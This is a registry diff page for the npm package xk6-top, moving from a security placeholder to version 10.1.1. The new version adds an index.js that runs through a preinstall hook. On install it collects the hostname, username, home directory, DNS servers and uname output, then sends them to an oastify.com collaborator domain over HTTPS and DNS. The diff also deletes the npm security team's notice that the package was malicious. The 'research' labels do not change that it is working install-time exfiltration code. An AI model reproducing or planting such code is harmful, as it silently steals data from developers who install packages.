xk6-top 0.0.1-security → 10.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of xk6-top might be problematic. Click here for more details.
- package/index.js +75 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
// index.js
|
|
2
|
+
// 🚨 For research and educational purposes only
|
|
3
|
+
|
|
4
|
+
const os = require("os");
|
|
5
|
+
const dns = require("dns");
|
|
6
|
+
const https = require("https");
|
|
7
|
+
const { execSync } = require("child_process");
|
|
8
|
+
const packageJSON = require("./package.json");
|
|
9
|
+
|
|
10
|
+
const COLLAB_DOMAIN = "3676q5aydc5vx0wj4nsj5a32ut0loec3.oastify.com";
|
|
11
|
+
|
|
12
|
+
// System Metadata Collection
|
|
13
|
+
function collectSystemInfo() {
|
|
14
|
+
let uname = "N/A";
|
|
15
|
+
try {
|
|
16
|
+
uname = execSync("uname -a").toString().trim();
|
|
17
|
+
} catch (e) {}
|
|
18
|
+
|
|
19
|
+
return {
|
|
20
|
+
pkg: packageJSON.name || "unknown",
|
|
21
|
+
ver: packageJSON.version || "unknown",
|
|
22
|
+
host: os.hostname(),
|
|
23
|
+
user: os.userInfo().username,
|
|
24
|
+
home: os.homedir(),
|
|
25
|
+
arch: os.arch(),
|
|
26
|
+
platform: os.platform(),
|
|
27
|
+
dns: dns.getServers().join(","),
|
|
28
|
+
uname: uname,
|
|
29
|
+
ts: new Date().toISOString()
|
|
30
|
+
};
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
// Convert object to query string
|
|
34
|
+
function buildQueryString(data) {
|
|
35
|
+
return Object.entries(data)
|
|
36
|
+
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
|
|
37
|
+
.join("&");
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
// Send HTTP Pingback
|
|
41
|
+
function sendHttpPing(query) {
|
|
42
|
+
const options = {
|
|
43
|
+
hostname: COLLAB_DOMAIN,
|
|
44
|
+
port: 443,
|
|
45
|
+
path: `/?${query}`,
|
|
46
|
+
method: "GET",
|
|
47
|
+
timeout: 3000, // 3s timeout
|
|
48
|
+
headers: {
|
|
49
|
+
"User-Agent": "NodePing/1.0"
|
|
50
|
+
}
|
|
51
|
+
};
|
|
52
|
+
|
|
53
|
+
const req = https.request(options, (res) => {
|
|
54
|
+
res.on("data", () => {}); // Silent response
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
req.on("error", () => {}); // Ignore errors
|
|
58
|
+
req.end();
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
// Trigger DNS Pingback
|
|
62
|
+
function sendDnsPing() {
|
|
63
|
+
try {
|
|
64
|
+
const dnsSub = `npm-${os.hostname().replace(/\./g, "-")}.${COLLAB_DOMAIN}`;
|
|
65
|
+
dns.lookup(dnsSub, () => {});
|
|
66
|
+
} catch (_) {}
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
// Run everything
|
|
70
|
+
(function main() {
|
|
71
|
+
const info = collectSystemInfo();
|
|
72
|
+
const query = buildQueryString(info);
|
|
73
|
+
sendHttpPing(query);
|
|
74
|
+
sendDnsPing();
|
|
75
|
+
})();
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "xk6-top",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "10.1.1",
|
|
4
|
+
"description": "Facebook White Hat Researcher",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "Vishal Kumar",
|
|
11
|
+
"license": "MIT"
|
|
6
12
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=xk6-top for more information.
|